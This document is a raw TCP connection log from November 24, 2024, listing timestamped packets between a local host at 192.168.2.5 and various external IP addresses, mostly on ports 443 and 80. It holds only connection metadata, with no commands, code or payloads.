Nov 24, 2024 04:23:44.314677000 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:44.315041065 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.315066099 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.315078020 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.315107107 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.316474915 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.316488981 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:44.317892075 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:44.317903042 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:44.320158005 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.320373058 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.320380926 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.327730894 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.331899881 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.331913948 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.335402966 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.335464954 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.335473061 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.344650030 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.353406906 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.353429079 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.356023073 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.357604980 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.357728958 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.366089106 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.366434097 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.368352890 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.368386984 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.369800091 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.373100042 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.379741907 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.379764080 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.380347967 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.380358934 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.392668962 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.392811060 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.392838955 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.392848015 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.393239021 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.393886089 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.397136927 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.397222042 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.397228956 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.397253036 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.397622108 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.398899078 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.399123907 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.399162054 CET	443	49938	172.217.19.225	192.168.2.5
Nov 24, 2024 04:23:44.399269104 CET	49938	443	192.168.2.5	172.217.19.225
Nov 24, 2024 04:23:44.434115887 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:44.434360027 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:44.434508085 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:44.536067963 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:44.536115885 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:44.536930084 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:44.537096024 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:44.537110090 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:44.554028034 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:44.657280922 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.657372952 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.659192085 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.660064936 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:44.660100937 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:44.660849094 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.660867929 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.660876036 CET	49946	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.660881996 CET	443	49946	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.660965919 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:44.661140919 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:44.661163092 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:44.666800022 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.666822910 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.666913033 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.667073965 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:44.667088985 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:44.686475039 CET	443	49949	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.686634064 CET	443	49949	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:44.693382025 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.693382025 CET	49949	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:44.786374092 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:44.786408901 CET	443	49971	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:44.787111998 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:44.788441896 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:44.788456917 CET	443	49971	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:44.797163010 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:44.797194004 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:44.798228979 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:44.798269033 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:44.799408913 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:44.799482107 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:44.799683094 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:44.799691916 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:44.799840927 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:44.799866915 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:44.943346977 CET	80	49950	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:44.944669008 CET	49950	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:45.084455967 CET	443	49953	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.084547997 CET	49953	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.112279892 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.112731934 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.112752914 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.113740921 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.113897085 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.114857912 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.114908934 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.131460905 CET	443	49952	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.131591082 CET	49952	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.158118963 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.158596039 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.158622026 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.159825087 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.160029888 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.160491943 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.160582066 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.197679043 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.198640108 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.198689938 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.199081898 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.199095011 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.204916954 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.204946041 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.312318087 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.371340990 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:45.373939991 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:45.575685024 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:45.647809982 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.647842884 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.648003101 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.650418043 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.650808096 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.650830030 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.650844097 CET	49951	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.650851965 CET	443	49951	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.653611898 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.653645992 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.653819084 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.654263973 CET	49975	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.654277086 CET	443	49975	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.771599054 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.776369095 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:45.776393890 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.777414083 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.777908087 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:45.779192924 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:45.779242992 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.779375076 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:45.792659998 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:45.817986012 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.818408966 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.818432093 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.818917990 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.818922997 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.827331066 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.888113976 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:45.888133049 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:45.898946047 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.899408102 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.899429083 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.899858952 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:45.899863958 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:45.924760103 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:45.924966097 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:45.924977064 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:45.926299095 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:45.926512957 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:45.927413940 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:45.927479029 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:45.927594900 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:45.975327015 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.007692099 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.007765055 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.008944035 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.009046078 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.071355104 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.071769953 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.072125912 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.072264910 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.075546980 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.075675964 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.075683117 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.096723080 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.096808910 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:46.096889019 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.097069979 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.097098112 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:46.105613947 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.106000900 CET	443	49971	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:46.106822968 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.107517958 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.107536077 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.107937098 CET	49964	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.107940912 CET	443	49964	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.112356901 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.115134954 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.115153074 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.116224051 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.116281986 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.117296934 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.117358923 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.117471933 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.153603077 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.153644085 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:46.153887033 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.154195070 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:46.154206038 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:46.163321018 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.184819937 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.184979916 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.185008049 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:46.228087902 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.228127003 CET	443	49978	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:46.230736971 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.230753899 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.230820894 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.231020927 CET	443	49965	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.231031895 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.231057882 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.231260061 CET	49965	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.231270075 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.231272936 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.231431007 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.231436968 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.232814074 CET	49978	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.232822895 CET	443	49978	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:46.237016916 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.237026930 CET	443	49971	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:46.237076044 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.237267971 CET	443	49971	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:46.237308979 CET	49971	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:46.239501953 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.239548922 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.239576101 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.239618063 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.239722013 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.239733934 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.247698069 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.247936010 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.247941971 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.253875017 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.257102966 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.257198095 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.259303093 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.259346008 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.259351969 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.259501934 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.259512901 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.259536982 CET	49962	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.259541035 CET	443	49962	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.263070107 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.263096094 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.263159990 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.263950109 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.263957977 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.272686005 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.272722006 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.272727966 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.272794008 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.272840023 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.272845030 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.342212915 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.345367908 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.345484972 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.346167088 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.346260071 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.346282959 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.346297026 CET	49963	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.346303940 CET	443	49963	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.349425077 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.349493980 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.349596977 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.349719048 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.349739075 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.367733002 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.367800951 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.367845058 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.367887020 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.367908001 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.367925882 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.367940903 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.376344919 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.376404047 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.376413107 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.381325006 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.387655973 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:46.387695074 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.387715101 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.388050079 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.388062000 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.388976097 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.389039040 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.391797066 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.391863108 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.391987085 CET	49972	443	192.168.2.5	152.195.19.97
Nov 24, 2024 04:23:46.392658949 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.392752886 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.397855997 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.397864103 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.398973942 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.398973942 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:46.398998976 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:46.399326086 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:46.399467945 CET	49981	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:46.399478912 CET	443	49981	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:46.401238918 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.435226917 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.435332060 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.435365915 CET	443	49972	152.195.19.97	192.168.2.5
Nov 24, 2024 04:23:46.439323902 CET	443	49966	172.217.19.206	192.168.2.5
Nov 24, 2024 04:23:46.442960024 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.443069935 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.443372965 CET	49966	443	192.168.2.5	172.217.19.206
Nov 24, 2024 04:23:46.443396091 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.443404913 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.443749905 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.449676991 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.450552940 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.455794096 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.455818892 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.456492901 CET	49970	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:46.456500053 CET	443	49970	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:46.458301067 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.459255934 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.459261894 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.465886116 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.469997883 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.470005035 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.473658085 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.476131916 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.476138115 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.487595081 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.487806082 CET	49969	443	192.168.2.5	142.250.72.99
Nov 24, 2024 04:23:46.487821102 CET	443	49969	142.250.72.99	192.168.2.5
Nov 24, 2024 04:23:46.488864899 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.488928080 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.489288092 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.489295959 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.489582062 CET	49968	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:46.496470928 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.504127026 CET	443	49968	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:46.504230022 CET	443	49968	142.251.40.163	192.168.2.5
